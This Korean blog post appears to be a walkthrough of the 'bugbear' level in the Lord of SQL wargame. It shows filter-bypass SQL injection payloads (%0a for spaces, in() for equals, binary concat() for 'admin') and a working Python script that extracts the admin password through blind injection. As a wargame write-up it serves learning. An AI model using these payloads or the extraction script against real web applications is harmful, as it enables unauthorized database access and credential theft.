점점 필터링이 많아지네요..

이번에는 like, 공백, 0x 도 필터링이 되어있습니다.



우선 공백은 %0a로 대체할 수 있으며, like는 in으로 대체하면 됩니다.



이제 'admin'을 만들어야 하는데 전 문제에서는 Hex값으로 만들었지만 이번에는 필터링이 되어있습니다.

그렇다면 이번에는 0b2진수로 'admin'을 만들어 전송하면 됩니다.


2진수는 문자열 자체를 바꿀 수는 없기 때문에 한 글자 한 글자 바꿔주면 됩니다.

다행이 글자 수의 제한이 없기 때문에 가능한 작업입니다.


python으로 바꾸시려면 bin(ord('a')) 과 같이 ['a' → 10진수 → 2진수]로  변환하시면 됩니다.


문자를 하나씩 나눠 놨기 때문에 하나로 합치는 작업을 해야 합니다.

여기서 concat()이라는 내장 함수로 문자들을 합칠 수 있습니다.


아래와 같이 만들어서 전송하시면 "Hello admin"을 만나보실 수 있습니다.



복잡해 보이지만 다음과 같습니다.

  공백     → %0a

  or        → ||

  and      → &&

  =         → in()

  'admin'  → concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?'
password = ''
length = 0
 
#pw 길이 구하기
for i in range(1,99):
    query = "no=1%0a||%0aid%0ain(concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110))%0a%26%26%0alength(pw)%0ain("+str(i)+")"
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(48,127):
        query = "no=1%0a||%0aid%0ain(concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110))%0a%26%26%0aleft(pw,"+str(i)+')%0ain("'+password+chr(j)+'")'
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



나온 답은 소문자로 ~

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] assassin  (0) 2018.10.08
[LOS] giant  (0) 2018.10.07
[LOS] darkknight  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06

+ Recent posts